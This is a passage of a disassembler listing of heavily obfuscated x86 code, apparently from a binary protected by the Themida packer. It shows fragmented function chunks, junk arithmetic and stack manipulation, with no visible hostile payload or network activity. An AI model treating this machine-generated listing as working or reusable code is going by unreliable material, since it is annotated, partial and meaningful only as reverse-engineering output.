add ebx, 5DA45816h
jmp loc_58EAA6
; ---------------------------------------------------------------------------
loc_58F088: ; CODE XREF: sub_584787+7654j
shl ebx, 8
and ebx, 0D9C1835h
add ebx, 0F37BE804h
add ecx, ebx
pop ebx
xor ecx, [esp+30h+var_30]
jmp loc_58CC28
; ---------------------------------------------------------------------------
loc_58F0A2: ; CODE XREF: sub_584787+D7Dj
push ecx
mov cl, bl
mov ah, cl
jmp loc_59074F
; ---------------------------------------------------------------------------
loc_58F0AC: ; CODE XREF: sub_584787+A3B5j
add edi, 4
add edi, 4
xchg edi, [esp+2Eh+var_30+2]
pop esp
add edx, 54C51D17h
add edx, ebx
sub edx, 54C51D17h
pop ebx
sub edx, 2
xchg edx, [esp+26h+var_26]
pop esp
mov [esp+0], cx
jmp loc_58B0AF
; ---------------------------------------------------------------------------
loc_58F0DB: ; CODE XREF: sub_584787+BB6Ej
mov ebx, [esp+0]
jmp loc_588382
; ---------------------------------------------------------------------------
loc_58F0E3: ; CODE XREF: sub_584787+EE5j
push ecx
mov ecx, 36544DF9h
sub ecx, 36544DF5h
add edx, 1A612Eh
add edx, ecx
push ebx
mov ebx, 1A612Eh
sub edx, ebx
pop ebx
pop ecx
xchg edx, [esp-18h+arg_12+2]
pop esp
push [esp-1Ch+arg_18]
pop eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp-18h+arg_12+2]
pop esp
mov [esp-1Ch+arg_18], esi
mov esi, esp
push ecx
push 0DEB7B61h
pop ecx
sub ecx, 0D7D1067h
add ecx, 8597BAEh
shr ecx, 8
shl ecx, 8
xor ecx, 8C7E604h
add esi, ecx
push [esp-18h+arg_12+2]
pop ecx
jmp loc_58AE82
; ---------------------------------------------------------------------------
loc_58F148: ; CODE XREF: sub_584787+5732j
add bl, 0B5h
pop eax
add bl, 0AFh
add bl, al
sub bl, 0AFh
push 2E3Bh
mov [esp+20h+var_20], edx
push 5DE2h
jmp loc_58B288
; ---------------------------------------------------------------------------
loc_58F166: ; CODE XREF: sub_584787+20C1j
push edx
jmp loc_58518A
; ---------------------------------------------------------------------------
loc_58F16C: ; CODE XREF: sub_584787+BA54j
sub al, dh
jmp loc_58FDC6
; ---------------------------------------------------------------------------
loc_58F173: ; CODE XREF: sub_584787+4E0Fj
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
jmp loc_58FBF8
; ---------------------------------------------------------------------------
loc_58F17E: ; CODE XREF: sub_584787+1F8Bj
mov [esp-0Ch+arg_8], edx
push ebx
mov ebx, 200D6678h
mov edx, 200D667Ch
jmp loc_5860A3
; ---------------------------------------------------------------------------
loc_58F191: ; CODE XREF: sub_584787+801Dj
and edi, 67015B8Eh
push edx
mov edx, 4BCE15DBh
jmp loc_58CCE6
; ---------------------------------------------------------------------------
loc_58F1A2: ; CODE XREF: sub_584787+5370j
push edx
mov edx, 356306D4h
mov esi, edx
pop edx
inc esi
inc esi
push ebx
mov ebx, 493C7698h
not ebx
dec ebx
jmp loc_58DB45
; ---------------------------------------------------------------------------
loc_58F1BB: ; CODE XREF: sub_584787+8B3Aj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58F1C0: ; CODE XREF: sub_584787+49E3j
and edi, 7C3752F3h
dec edi
jmp loc_58809D
; ---------------------------------------------------------------------------
loc_58F1CC: ; CODE XREF: sub_584787+2C2Fj
sub eax, 4B4A497Fh
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_58795F
; ---------------------------------------------------------------------------
loc_58F1DF: ; DATA XREF: Themida_:005843C4o
pop dword ptr [edx]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58F1E6: ; CODE XREF: sub_584787+2622j
add esi, 0DB544BAh
jmp loc_58B3C2
; ---------------------------------------------------------------------------
loc_58F1F1: ; CODE XREF: sub_584787+B28Fj
mov ebp, edx
pop edx
dec ebp
jmp loc_58D8CB
; ---------------------------------------------------------------------------
loc_58F1FA: ; CODE XREF: sub_584787+A883j
pop ecx
xor ebp, 0A5222EDBh
add esi, ebp
pop ebp
add esi, 4
push esi
push [esp+18h+var_14]
jmp loc_5902B6
; ---------------------------------------------------------------------------
loc_58F214: ; DATA XREF: Themida_:005842FCo
push [esp+1Ch+var_1C]
jmp loc_58A23E
; ---------------------------------------------------------------------------
loc_58F21C: ; CODE XREF: sub_584787+8320j
sub ebp, 46452BF1h
pop ebx
xor ebp, [esp+16h+var_18+2]
xor [esp+16h+var_18+2], ebp
xor ebp, [esp+16h+var_18+2]
mov esp, [esp+16h+var_18+2]
mov edx, [esp+16h+var_18+2]
push ecx
mov ecx, esp
push eax
sub esp, 4
mov [esp+0], edi
push 6BC41169h
pop edi
xchg ebp, edi
not ebp
xchg ebp, edi
jmp loc_58EC78
; ---------------------------------------------------------------------------
loc_58F250: ; CODE XREF: sub_584787+5905j
push ecx
mov ch, bh
push eax
jmp loc_58E84D
; ---------------------------------------------------------------------------
loc_58F259: ; CODE XREF: sub_584787+67C3j
push 4E65h
mov [esp+2Ah+var_2C+2], ebp
mov ebp, 6D455A06h
push esi
mov esi, 1B4C311Fh
jmp loc_58D272
; ---------------------------------------------------------------------------
loc_58F271: ; CODE XREF: sub_584787+9B77j
add ecx, 701229D7h
not ecx
neg ecx
inc ecx
shr ecx, 4
jmp loc_588E20
; ---------------------------------------------------------------------------
loc_58F284: ; CODE XREF: sub_584787+A1D0j
push ebp
sub esp, 4
jmp loc_58F960
; ---------------------------------------------------------------------------
loc_58F290: ; CODE XREF: sub_584787+2BB8j
add eax, 4
xchg eax, [esp+0]
pop esp
add ebx, 2
xor ebx, [esp+1Eh+var_20+2]
xor [esp+1Eh+var_20+2], ebx
xor ebx, [esp+1Eh+var_20+2]
pop esp
inc byte ptr [esp+1Ah+var_1C+2]
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58F2AD: ; CODE XREF: sub_584787+827Cj
xor eax, [esp+4+var_4]
jmp loc_5889E8
; ---------------------------------------------------------------------------
loc_58F2B5: ; CODE XREF: sub_584787+7862j
pop ebx
xor al, 37h
xor al, 0E3h
jmp loc_589D8A
; ---------------------------------------------------------------------------
loc_58F2BF: ; CODE XREF: sub_584787+8384j
and eax, ebp
pop ebp
or eax, eax
jz loc_58E34A
push 5AB5h
mov [esp+12h+var_14+2], eax
push 4B6Dh
jmp loc_5889AE
; ---------------------------------------------------------------------------
loc_58F2DC: ; CODE XREF: sub_584787+5F91j
mov edi, 1A881C04h
jmp loc_58752C
; ---------------------------------------------------------------------------
loc_58F2E6: ; CODE XREF: sub_584787+96A0j
or ah, 0E0h
push ecx
mov cl, 79h
add cl, 19h
sub ah, cl
pop ecx
mov ch, ah
jmp loc_589DBD
; ---------------------------------------------------------------------------
loc_58F2F9: ; CODE XREF: sub_584787+1382j
not byte ptr [esp+20h+var_20]
pop edx
xchg dl, ah
xor ah, 5Eh
or ah, 56h
jmp loc_58588E
; ---------------------------------------------------------------------------
loc_58F30A: ; CODE XREF: sub_584787+9D2Dj
not dx
push small 4D7Eh
mov word ptr [esp+1Eh+var_20+2], dx
push small word ptr [esp+1Eh+var_1C]
mov dx, word ptr [esp+20h+var_20]
push ebx
mov ebx, esp
push ecx
jmp loc_58E147
; ---------------------------------------------------------------------------
loc_58F327: ; CODE XREF: sub_584787+4AF3j
mov ecx, 4
jmp loc_584A5E
; ---------------------------------------------------------------------------
loc_58F331: ; CODE XREF: sub_584787+ADC5j
pop edi
sub eax, ebx
jmp loc_58FEA0
; ---------------------------------------------------------------------------
loc_58F339: ; CODE XREF: sub_584787+ABj
add bx, 3BA2h
pop ax
jmp loc_5852E0
; ---------------------------------------------------------------------------
loc_58F345: ; CODE XREF: sub_584787+2741j
pop esp
mov [esp+0Eh+var_10+2], edx
jmp loc_58E6A1
; ---------------------------------------------------------------------------
loc_58F34E: ; CODE XREF: sub_584787+32A6j
add esp, 4
add edi, esi
pop esi
xor edi, [esp-16h+arg_12]
xor [esp-16h+arg_12], edi
xor edi, [esp-16h+arg_12]
mov esp, [esp-16h+arg_12]
mov ax, word ptr [esp-16h+arg_12]
sub esp, 4
jmp loc_58E0AE
; ---------------------------------------------------------------------------
loc_58F372: ; CODE XREF: sub_584787+2B8Dj
add esi, 4
jmp loc_588736
; ---------------------------------------------------------------------------
loc_58F37A: ; CODE XREF: sub_584787+A7EBj
push esp
mov ecx, [esp+16h+var_18+2]
jmp loc_58D0D4
; ---------------------------------------------------------------------------
loc_58F383: ; CODE XREF: sub_584787+87C9j
add eax, ecx
mov ecx, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_584BCB
; ---------------------------------------------------------------------------
loc_58F399: ; CODE XREF: sub_584787+20EDj
mov ecx, 1EDB4A08h
mov ebx, 1EDB4A0Ch
sub ebx, ecx
jmp loc_5897FB
; ---------------------------------------------------------------------------
loc_58F3AA: ; CODE XREF: sub_584787+A376j
sub edi, ecx
pop ecx
pop eax
xchg edi, [esp+0]
mov esp, [esp+0]
movsx ecx, al
push 26Dh
mov [esp+4+var_4], ecx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58F3C4: ; CODE XREF: sub_584787+5443j
xor [esp+2Ah+var_2C+2], ecx
xor ecx, [esp+2Ah+var_2C+2]
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58F3D0: ; CODE XREF: sub_584787+9714j
pop edx
xor ebp, 2B5D1747h
jmp loc_5862B7
; ---------------------------------------------------------------------------
loc_58F3DC: ; CODE XREF: sub_584787+7BA2j
push ebx
jmp loc_59064F
; ---------------------------------------------------------------------------
loc_58F3E2: ; CODE XREF: sub_584787+10Dj
push 1698h
mov [esp+24h+var_26+2], ecx
jmp loc_58F93D
; ---------------------------------------------------------------------------
loc_58F3EF: ; CODE XREF: sub_584787+39Dj
shr eax, 8
xor eax, 0C5E8581h
sub eax, 35390D72h
jmp loc_588669
; ---------------------------------------------------------------------------
loc_58F401: ; CODE XREF: sub_584787+F13j
pop esi
pop [esp-0Ch+arg_8]
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58F40B: ; CODE XREF: sub_584787+AEF6j
xor ch, 8
shr ch, 5
shl ch, 1
add ch, 0F3h
add dh, ch
jmp loc_58537F
; ---------------------------------------------------------------------------
loc_58F41D: ; CODE XREF: sub_584787+803Dj
mov esp, [esp-8+arg_4]
push [esp-8+arg_4]
jmp loc_586DEA
; ---------------------------------------------------------------------------
loc_58F428: ; CODE XREF: sub_584787+2A84j
mov edx, esp
jmp loc_58F4C3
; ---------------------------------------------------------------------------
loc_58F42F: ; CODE XREF: sub_584787+7EB3j
pop eax
push edi
push ebx
mov ebx, 61B14697h
not ebx
neg ebx
and ebx, 6F875163h
neg ebx
xor ebx, 91AEAA23h
mov edi, ebx
pop ebx
jmp loc_58D81D
sub_584787 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F451: ; CODE XREF: sub_584787+7671j
add esp, 4
push eax
mov eax, 4
add ebp, eax
jmp loc_586ED2
; ---------------------------------------------------------------------------
loc_58F464: ; CODE XREF: sub_584787+7F54j
add eax, 77645282h
pop esi
xchg eax, [esp+46h+var_46]
pop esp
bswap eax
jmp loc_58D693
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F8C1
loc_58F475: ; CODE XREF: sub_58F8C1+1j
pop eax
mov ebp, [esp+0]
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
push edx
jmp loc_589DD4
; END OF FUNCTION CHUNK FOR sub_58F8C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F48A: ; CODE XREF: sub_584787+6B3Cj
push 79E3h
mov [esp-8+arg_4], edi
mov edi, 4
jmp loc_58905F
; ---------------------------------------------------------------------------
loc_58F49C: ; CODE XREF: sub_584787+24CFj
pop esp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], eax
xor eax, [esp-0Ch+arg_8]
pop esp
mov [esp+0], esi
push ecx
push 4ACB1324h
mov ecx, [esp-8+arg_4]
jmp loc_58C9AA
; ---------------------------------------------------------------------------
loc_58F4C3: ; CODE XREF: sub_584787+ACA3j
add edx, 4
add edx, 4
xor edx, [esp+4+var_4]
xor [esp+4+var_4], edx
jmp loc_58C16A
; ---------------------------------------------------------------------------
loc_58F4D7: ; CODE XREF: sub_584787+4222j
mov [esp+8+var_8], esi
push [esp+8+var_4]
pop esi
pop [esp+8+var_8]
jmp loc_58804A
; ---------------------------------------------------------------------------
loc_58F4E7: ; CODE XREF: sub_584787+52ACj
add edi, ecx
pop ecx
push ecx
mov ecx, 2
jmp loc_58F56D
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_58F4F5 proc near ; CODE XREF: sub_584787+8A33j
push ebx
mov ebx, 884233Ah
inc ebx
add ebx, 600916A6h
and ecx, ebx
pop ebx
jmp loc_589DE0
sub_58F4F5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F50A: ; CODE XREF: sub_584787+6B68j
mov edx, [esp+0]
jmp loc_58A354
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5900B2
loc_58F512: ; CODE XREF: sub_5900B2+12j
mov [esp+0Ch+var_C], edx
mov edx, 4
mov ecx, edx
pop edx
add esi, ecx
jmp loc_587F2F
; END OF FUNCTION CHUNK FOR sub_5900B2
; ---------------------------------------------------------------------------
loc_58F524: ; DATA XREF: Themida_:00584294o
mov ax, [esp]
jmp loc_586399
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F52D: ; CODE XREF: sub_584787+7F9Aj
sub ebp, esi
pop esi
pop ecx
push ebp
push dword ptr [esp+4]
jmp loc_589F7D
; ---------------------------------------------------------------------------
loc_58F53B: ; CODE XREF: sub_584787+68Fj
mov esi, 4
add ebp, esi
jmp loc_58F86E
; ---------------------------------------------------------------------------
loc_58F547: ; CODE XREF: sub_584787+4559j
add eax, 54A94210h
jmp loc_58F331
; ---------------------------------------------------------------------------
loc_58F551: ; CODE XREF: sub_584787+A0C1j
add bx, ax
pop ax
pop edx
sub bx, 2D51h
sub bx, ax
push bp
mov bp, 2D51h
add bx, bp
jmp loc_587CDD
; ---------------------------------------------------------------------------
loc_58F56D: ; CODE XREF: sub_584787+AD69j
add edi, 1C9C437Ch
add edi, ecx
sub edi, 1C9C437Ch
mov ecx, [esp-4+arg_0]
add esp, 4
xor edi, [esp-8+arg_4]
jmp loc_58C23B
; ---------------------------------------------------------------------------
loc_58F58C: ; CODE XREF: sub_584787+BCC6j
sub dl, 0FFh
push ebx
jmp loc_590101
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_58F595: ; DATA XREF: Themida_:00584398o
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
push 25C1h
mov [esp], esi
push ebx
jmp loc_58DCD1
; =============== S U B R O U T I N E =======================================
sub_58F5B0 proc near ; CODE XREF: sub_584787+B0F1j
var_4 = dword ptr -4
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
mov esp, [esp+0]
jmp loc_58919C
sub_58F5B0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F5C1: ; CODE XREF: sub_584787+6AB9j
shl edi, 8
neg edi
add edi, 0BD616660h
mov ebx, edi
jmp loc_59015C
; ---------------------------------------------------------------------------
loc_58F5D3: ; CODE XREF: sub_584787-203j
mov ebp, [esp+0]
jmp loc_5889B6
; ---------------------------------------------------------------------------
loc_58F5DB: ; CODE XREF: sub_584787+2A9Cj
xor ebp, 78FB22A7h
push ebx
mov ebx, 75F28D2h
xor ebp, ebx
pop ebx
sub edi, ebp
pop ebp
pop ebx
movzx eax, al
push dword ptr [edi+eax*4]
jmp sub_5903F6
; ---------------------------------------------------------------------------
loc_58F5F9: ; CODE XREF: sub_584787-5Aj
add edi, 66216165h
push eax
mov eax, 4911E4EBh
sub edi, eax
pop eax
xor esi, edi
pop edi
add ebx, 5B466E1Fh
sub ebx, esi
sub ebx, 5B466E1Fh
pop esi
xor eax, ebx
mov ebx, [esp-0Ch+arg_8]
jmp loc_58D7AB
; ---------------------------------------------------------------------------
loc_58F624: ; CODE XREF: sub_584787+667Fj
mov [esp-4+arg_0], esp
add [esp-4+arg_0], 4
jmp loc_58BC2E
; ---------------------------------------------------------------------------
loc_58F633: ; CODE XREF: sub_584787+113Bj
push dword ptr [esp+4]
jmp loc_58C7F0
; ---------------------------------------------------------------------------
loc_58F63C: ; CODE XREF: sub_584787+6A90j
xor ch, byte ptr [esp+2Ah+var_2C+2]
xor byte ptr [esp+2Ah+var_2C+2], ch
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58F647: ; CODE XREF: sub_584787+BB3Fj
mov ecx, 0D17157Ah
and ecx, 5FB06126h
sub ecx, 0D10011Eh
jmp loc_588811
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_58F65D: ; DATA XREF: Themida_:005841E4o
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
push ebp
jmp loc_5885C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F66A: ; CODE XREF: sub_584787+1936j
add bl, 61h
add bl, al
sub bl, 61h
push edx
jmp loc_5870B9
; ---------------------------------------------------------------------------
loc_58F678: ; CODE XREF: sub_584787+11F9j
mov dh, 2Eh
push ecx
mov ch, 68h
jmp loc_58F40B
; ---------------------------------------------------------------------------
loc_58F682: ; CODE XREF: sub_584787-298j
mov ecx, ebp
pop ebp
add edx, 3BF714Ah
add edx, ecx
sub edx, 3BF714Ah
pop ecx
push 4D3h
jmp loc_58A471
; ---------------------------------------------------------------------------
loc_58F69E: ; CODE XREF: sub_584787+7D27j
mov cl, 24h
shl cl, 4
neg cl
push eax
mov ah, 0BCh
and ah, 50h
xor ah, 87h
shr ah, 4
jmp loc_58A21C
; ---------------------------------------------------------------------------
loc_58F6B6: ; CODE XREF: sub_584787-E8j
add esp, 4
jmp loc_58C19A
; ---------------------------------------------------------------------------
loc_58F6C1: ; CODE XREF: sub_584787+59CCj
push edx
push esp
push [esp+2Ah+var_2C+2]
mov edx, [esp+2Eh+var_30+2]
add esp, 4
add esp, 4
jmp loc_5867F6
; ---------------------------------------------------------------------------
loc_58F6DA: ; CODE XREF: sub_584787+9FD5j
push 2049h
mov [esp+10h+var_10], ebp
jmp loc_58885C
; ---------------------------------------------------------------------------
loc_58F6E7: ; CODE XREF: sub_584787+95EFj
push 2A2Bh
jmp loc_58B2BE
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_58F6F1 proc near ; CODE XREF: sub_584787+3014j
; FUNCTION CHUNK AT 00590119 SIZE 0000000C BYTES
push ebx
mov bl, cl
jmp loc_590119
sub_58F6F1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F6F9: ; CODE XREF: sub_584787+6B7Ej
mov ecx, ebp
mov ebp, [esp-8+arg_4]
add esp, 4
sub ebp, ecx
pop ecx
add ebp, edx
add ebp, 6DB30435h
jmp loc_58DAD2
; ---------------------------------------------------------------------------
loc_58F711: ; CODE XREF: sub_584787+B32Bj
shr ebx, 6
sub ebx, 3D78328h
sub ecx, ebx
pop ebx
jmp loc_588803
; ---------------------------------------------------------------------------
loc_58F722: ; CODE XREF: sub_584787+2478j
add edx, 786B36AEh
jmp loc_58D23B
; ---------------------------------------------------------------------------
loc_58F72D: ; CODE XREF: sub_584787+664Bj
mov ecx, 4
add esi, ecx
jmp loc_58DC77
; ---------------------------------------------------------------------------
loc_58F739: ; CODE XREF: sub_584787+4EE8j
pop eax
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_589A5C
; ---------------------------------------------------------------------------
loc_58F748: ; CODE XREF: sub_584787+202Dj
pop ecx
push eax
mov eax, 2EFC25DEh
add [esp+8], eax
jmp loc_585B58
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_58F758: ; DATA XREF: Themida_:005841A4o
push dword ptr [esp]
pop ecx
push 6AA4h
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 4
jmp loc_58A894
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F771: ; CODE XREF: sub_584787+41C2j
mov ebp, 34626879h
push eax
mov eax, 500B00E4h
dec eax
xor eax, 31477C9Fh
neg eax
jmp loc_58A967
; ---------------------------------------------------------------------------
loc_58F789: ; CODE XREF: sub_584787+4F1Fj
add ebp, edi
mov edi, [esp+0Eh+var_10+2]
add esp, 4
sub ebp, 4
xchg ebp, [esp+0Ah+var_C+2]
mov esp, [esp+0Ah+var_C+2]
mov [esp+0Ah+var_C+2], ebx
mov ebx, 23E60310h
add ebx, 31DA497Eh
dec ebx
push ebp
mov ebp, 4E4A7B4Ch
and ebp, 5DC4084Dh
shl ebp, 5
or ebp, 400D08AFh
xor ebp, 9DCD4523h
sub ebx, ebp
pop ebp
jmp loc_58C455
; ---------------------------------------------------------------------------
loc_58F7CC: ; CODE XREF: sub_584787+60D3j
mov [esp+58h+var_58], esp
push ecx
mov ecx, 4
add [esp+5Ch+var_58], ecx
pop ecx
mov edi, [esp+58h+var_58]
push eax
mov eax, esp
add eax, 4
jmp loc_58C607
; ---------------------------------------------------------------------------
loc_58F7EA: ; CODE XREF: sub_584787+621Fj
push ecx
mov ecx, 0E5D43ACh
xor ecx, 0F19D7D61h
add eax, ecx
pop ecx
add esi, eax
pop eax
jmp loc_584CEC
; ---------------------------------------------------------------------------
loc_58F801: ; CODE XREF: sub_584787+521Aj
push esi
push esp
pop esi
push ecx
mov ecx, 4
add esi, ecx
pop ecx
push ebp
push esi
mov esi, 48A6613Eh
mov ebp, esi
pop esi
sub ebp, 218429FBh
shr ebp, 8
push ecx
mov ecx, 57AF420Dh
and ebp, ecx
jmp loc_584841
; ---------------------------------------------------------------------------
loc_58F82D: ; CODE XREF: sub_584787+BB7Cj
shr ah, 2
push edx
mov dh, 21h
push ebx
mov bh, 0E0h
add dh, bh
pop ebx
add ah, dh
pop edx
add ah, 4Eh
inc ah
push edx
mov dh, 0CDh
add dh, 8Eh
neg dh
not dh
sub dh, 9Ch
jmp loc_58DDB9
; ---------------------------------------------------------------------------
loc_58F853: ; CODE XREF: sub_584787+68D5j
add edi, esi
pop esi
push edx
mov edx, 47BD0248h
sub eax, edx
pop edx
add eax, 52DE5480h
sub eax, 1D2743B7h
jmp loc_58586D
; ---------------------------------------------------------------------------
loc_58F86E: ; CODE XREF: sub_584787+ADBBj
pop esi
push esi
mov esi, 4
add ebp, esi
pop esi
jmp sub_58F5B0
; ---------------------------------------------------------------------------
loc_58F87D: ; CODE XREF: sub_584787+7B29j
mov ecx, ebx
pop ebx
and ecx, 16146F8Ch
add ecx, 6D73666Eh
xor ecx, 3D873EBAh
shl ecx, 8
add ecx, 79DD75F2h
jmp loc_587C03
; ---------------------------------------------------------------------------
loc_58F8A0: ; CODE XREF: sub_584787+9E57j
imul cl
movzx cx, ah
jmp loc_58F04C
; ---------------------------------------------------------------------------
loc_58F8AB: ; CODE XREF: sub_584787+3ADAj
mov eax, 0DAA18036h
add edx, eax
jmp loc_585019
; ---------------------------------------------------------------------------
loc_58F8B7: ; CODE XREF: sub_584787+B9D0j
mov eax, 4
jmp loc_58FFE7
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_58F8C1 proc near ; CODE XREF: sub_584787+3B3Ej
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058F475 SIZE 00000015 BYTES
push ebp
jmp loc_58F475
sub_58F8C1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F8C7: ; CODE XREF: sub_584787+3112j
mov eax, esi
jmp loc_587AFD
; ---------------------------------------------------------------------------
loc_58F8CE: ; CODE XREF: sub_584787+FE6j
pop esp
add ebx, 4
push ecx
jmp loc_590626
; ---------------------------------------------------------------------------
loc_58F8DB: ; CODE XREF: sub_584787+58F4j
mov ecx, 40FB06A3h
jmp loc_58EC2C
; ---------------------------------------------------------------------------
loc_58F8E5: ; CODE XREF: sub_584787+A461j
pop [esp+2Ah+var_2C+2]
jmp loc_584979
; ---------------------------------------------------------------------------
loc_58F8ED: ; CODE XREF: sub_584787+9988j
xchg ecx, [esp+0]
mov esp, [esp+0]
mov [esp+0], ecx
mov ecx, esp
add ecx, 4
jmp loc_585F87
; ---------------------------------------------------------------------------
loc_58F903: ; CODE XREF: sub_584787+B4F6j
mov ecx, [esp+0]
add esp, 4
dec eax
jmp loc_585E2B
; ---------------------------------------------------------------------------
loc_58F90F: ; CODE XREF: sub_584787+2A0j
xor edi, [esp+32h+var_34+2]
mov esp, [esp+32h+var_34+2]
push small 0
jmp loc_585E5A
; ---------------------------------------------------------------------------
loc_58F91E: ; CODE XREF: sub_584787+A77Fj
pop esp
idiv cx
push 2CA9h
mov [esp+0Ah+var_C+2], edx
push esp
pop edx
add edx, 4
push esi
mov esi, 5C6139E1h
jmp loc_587E08
; ---------------------------------------------------------------------------
loc_58F93D: ; CODE XREF: sub_584787+AC63j
not [esp+24h+var_26+2]
pop ecx
xor esi, ecx
xor ecx, esi
xor esi, ecx
xchg esi, ebx
xor edx, ebx
xor ebx, edx
jmp loc_58AAB2
; ---------------------------------------------------------------------------
loc_58F952: ; CODE XREF: sub_584787+174Fj
push eax
mov eax, 5AF95CA7h
mov esi, eax
pop eax
jmp loc_585B66
; ---------------------------------------------------------------------------
loc_58F960: ; CODE XREF: sub_584787+AB04j
mov [esp-0Ch+arg_8], esp
push esi
jmp loc_58E297
; ---------------------------------------------------------------------------
loc_58F969: ; CODE XREF: sub_584787+B609j
mov ebp, 4
add esi, ebp
pop ebp
push 52B0h
mov [esp-8+arg_4], ecx
jmp loc_58DEED
; ---------------------------------------------------------------------------
loc_58F97E: ; CODE XREF: sub_584787+8514j
mov edi, esi
jmp loc_5900F6
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5903F6
loc_58F985: ; CODE XREF: sub_5903F6+1j
push esp
push [esp+8+var_8]
jmp loc_586046
; END OF FUNCTION CHUNK FOR sub_5903F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58F98E: ; CODE XREF: sub_584787+A1B1j
push 58C7h
mov [esp+0Ah+var_C+2], ebp
jmp loc_5899DD
; ---------------------------------------------------------------------------
loc_58F99B: ; CODE XREF: sub_584787+22D3j
xor edi, ebp
jmp loc_58AC87
; ---------------------------------------------------------------------------
loc_58F9A2: ; CODE XREF: sub_584787+6857j
add edi, eax
pop eax
sub edi, 1DFD61D9h
add edi, eax
add edi, 1DFD61D9h
sub edi, 3DA74473h
pop eax
std
push 4ACFh
mov [esp+2Ah+var_2C+2], eax
sub esp, 4
mov [esp+2Eh+var_30+2], edi
push 17C4341Dh
mov edi, [esp+32h+var_34+2]
push eax
mov eax, esp
push 4F22h
mov [esp+3Ah+var_3C+2], edi
jmp loc_58B5CB
; ---------------------------------------------------------------------------
loc_58F9E4: ; CODE XREF: sub_584787+2553j
mov bl, 6Bh
add bl, 2Eh
jmp loc_5895A7
; ---------------------------------------------------------------------------
loc_58F9EE: ; CODE XREF: sub_584787+5F62j
mov esi, edi
pop edi
inc esi
sub esi, 5EF770B4h
or esi, 431632EEh
add esi, 0D9404532h
jmp loc_58626B
; ---------------------------------------------------------------------------
loc_58FA09: ; CODE XREF: sub_584787+525j
xor edx, 54922E53h
dec edx
xor edx, 0DD836646h
jmp loc_58F1F1
; ---------------------------------------------------------------------------
loc_58FA1B: ; CODE XREF: sub_584787+29B3j
pop ebx
mov edx, [esp+0]
add esp, 4
add al, ch
jmp loc_58A4D5
; ---------------------------------------------------------------------------
loc_58FA2C: ; CODE XREF: sub_584787+A1F2j
add esp, 4
push ebp
mov ebp, 56966BE3h
and ecx, ebp
pop ebp
push edx
mov edx, 1EFB718Dh
xor ecx, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
sub eax, 4D2E2F68h
add eax, ecx
jmp loc_584FB0
; ---------------------------------------------------------------------------
loc_58FA55: ; CODE XREF: sub_584787+A6B9j
mov esi, 751079B7h
jmp loc_5863F5
; ---------------------------------------------------------------------------
loc_58FA5F: ; CODE XREF: sub_584787+9886j
pop edi
add esp, 4
shr ecx, 0Bh
jmp loc_584914
; ---------------------------------------------------------------------------
loc_58FA6B: ; CODE XREF: sub_584787+603Fj
push edx
jmp loc_58B526
; ---------------------------------------------------------------------------
loc_58FA71: ; CODE XREF: sub_584787+B450j
add ebp, 4
push ebp
push [esp+50h+var_4E+2]
pop ebp
pop dword ptr [esp+0]
pop esp
push edi
jmp loc_58D418
; ---------------------------------------------------------------------------
loc_58FA84: ; CODE XREF: sub_584787+51A9j
mov [esp-1Ch+arg_18], esp
add [esp-1Ch+arg_18], 4
mov ebx, [esp-1Ch+arg_18]
add esp, 4
add ebx, 4
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_58A059
; ---------------------------------------------------------------------------
loc_58FAA4: ; CODE XREF: sub_584787+4C73j
mov esi, 54111770h
sub ebx, esi
pop esi
xchg edi, ebx
not edi
xchg edi, ebx
jmp loc_58F711
; ---------------------------------------------------------------------------
loc_58FAB7: ; CODE XREF: sub_584787+7B08j
sub eax, 2A5C2A1Eh
mov edx, [esp-18h+arg_12+2]
add esp, 4
push edi
